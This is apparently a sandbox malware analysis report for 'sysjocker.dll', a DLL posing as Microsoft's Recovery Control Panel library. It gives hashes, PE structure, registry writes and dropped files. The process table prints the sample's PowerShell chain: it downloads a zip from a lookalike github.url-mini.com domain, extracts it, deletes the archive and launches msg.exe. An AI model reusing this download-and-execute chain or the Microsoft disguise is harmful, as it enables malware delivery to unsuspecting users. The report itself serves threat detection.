| File name: | sysjocker.dll |
| Full analysis: | https://app.any.run/tasks/c57ad532-8a36-4ef5-8579-f04c21192e46 |
| Verdict: | Malicious activity |
| Analysis date: | January 15, 2022, 01:49:24 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (DLL) (GUI) Intel 80386, for MS Windows |
| MD5: | D71E1A6EE83221F1AC7ED870BC272F01 |
| SHA1: | D1D5158660CDC9E05ED0207CEBA2033AA7736ED1 |
| SHA256: | 61DF74731FBE1EAFB2EB987F20E5226962EECEEF010164E41EA6C4494A4010FC |
| SSDEEP: | 3072:vlj7PBrZ4tL8c0IB0MXO6WkjkuyfZ7fM27vX8M4M3eNomUWBE4DdeCCR50RgVN4U:vhVrZ4tL8c0IB0WO6WkByfZ7fM27vX8Q |
MALICIOUS
No malicious indicators.SUSPICIOUS
Checks supported languages
- powershell.exe (PID: 1096)
- powershell.exe (PID: 3844)
- powershell.exe (PID: 3688)
- powershell.exe (PID: 2292)
Executes PowerShell scripts
- rundll32.exe (PID: 3268)
Reads Environment values
- powershell.exe (PID: 1096)
Reads the computer name
- powershell.exe (PID: 3844)
- powershell.exe (PID: 1096)
- powershell.exe (PID: 3688)
- powershell.exe (PID: 2292)
INFO
Loads main object executable
- rundll32.exe (PID: 3268)
Checks supported languages
- rundll32.exe (PID: 3268)
Checks Windows Trust Settings
- powershell.exe (PID: 1096)
- powershell.exe (PID: 3844)
- powershell.exe (PID: 3688)
- powershell.exe (PID: 2292)
Reads settings of System Certificates
- powershell.exe (PID: 1096)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| ProductVersion: | 10.0.19041.423 |
|---|---|
| ProductName: | Microsoft® Windows® Operating System |
| OriginalFileName: | RECOVERY.DLL |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| InternalName: | RECOVERY |
| FileVersion: | 10.0.19041.423 (WinBuild.160101.0800) |
| FileDescription: | Recovery Control Panel |
| CompanyName: | Microsoft Corporation |
| CharacterSet: | Unicode |
| LanguageCode: | English (U.S.) |
| FileSubtype: | - |
| ObjectFileType: | Dynamic link library |
| FileOS: | Windows NT 32-bit |
| FileFlags: | (none) |
| FileFlagsMask: | 0x0000 |
| ProductVersionNumber: | 10.0.19041.423 |
| FileVersionNumber: | 10.0.19041.423 |
| Subsystem: | Windows GUI |
| SubsystemVersion: | 6 |
| ImageVersion: | - |
| OSVersion: | 6 |
| EntryPoint: | 0x6960 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 74752 |
| CodeSize: | 119296 |
| LinkerVersion: | 14.28 |
| PEType: | PE32 |
| TimeStamp: | 2021:10:07 21:49:31+02:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 07-Oct-2021 19:49:31 |
| Detected languages: |
|
| CompanyName: | Microsoft Corporation |
| FileDescription: | Recovery Control Panel |
| FileVersion: | 10.0.19041.423 (WinBuild.160101.0800) |
| InternalName: | RECOVERY |
| LegalCopyright: | © Microsoft Corporation. All rights reserved. |
| OriginalFilename: | RECOVERY.DLL |
| ProductName: | Microsoft® Windows® Operating System |
| ProductVersion: | 10.0.19041.423 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000100 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 07-Oct-2021 19:49:31 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0001D0B0 | 0x0001D200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.65012 |
.rdata | 0x0001F000 | 0x0000E038 | 0x0000E200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.48209 |
.data | 0x0002E000 | 0x00001CC0 | 0x00001000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.19846 |
.rsrc | 0x00030000 | 0x000003F8 | 0x00000400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 3.3555 |
.reloc | 0x00031000 | 0x00001FF4 | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.55292 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 3.51873 | 916 | UNKNOWN | English - United States | RT_VERSION |
Imports
KERNEL32.dll |
Total processes
42
Monitored processes
5
Malicious processes
2
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1096 | powershell.exe Invoke-WebRequest -Uri 'https://github.url-mini.com/msg.zip' -OutFile 'C:\ProgramData\RecoverySystem\recoveryWindows.zip';Write-Output "Time taken : $((Get - Date).Subtract($start_time).Seconds) second(s)" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 2292 | powershell.exe start C:\ProgramData\RecoverySystem\msg.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3268 | "C:\Windows\System32\rundll32.exe" C:\Users\admin\Downloads\sysjocker.dll.exe, #1 | C:\Windows\System32\rundll32.exe | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3688 | powershell.exe Remove-Item -Path 'C:\ProgramData\RecoverySystem\recoveryWindows.zip' -Force | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 3844 | powershell.exe Expand-Archive -LiteralPath 'C:\ProgramData\RecoverySystem\recoveryWindows.zip' -DestinationPath 'C:\ProgramData\RecoverySystem' | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
Total events
5 731
Read events
5 697
Write events
34
Delete events
0
Modification events
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (1096) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
Executable files
0
Suspicious files
8
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\2cubkd3v.4xb.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\aqq2kxxb.zkt.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1096 | powershell.exe | C:\Users\admin\AppData\Local\Temp\sefatkff.3u1.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\4voayrlq.hiv.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\t2fqukde.fjb.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2292 | powershell.exe | C:\Users\admin\AppData\Local\Temp\bojxn3yd.zd0.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1096 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 3844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\hy5fklzs.qqn.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3688 | powershell.exe | C:\Users\admin\AppData\Local\Temp\5katvwbg.clq.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
DNS requests
Domain | IP | Reputation |
|---|---|---|
github.url-mini.com |
| unknown |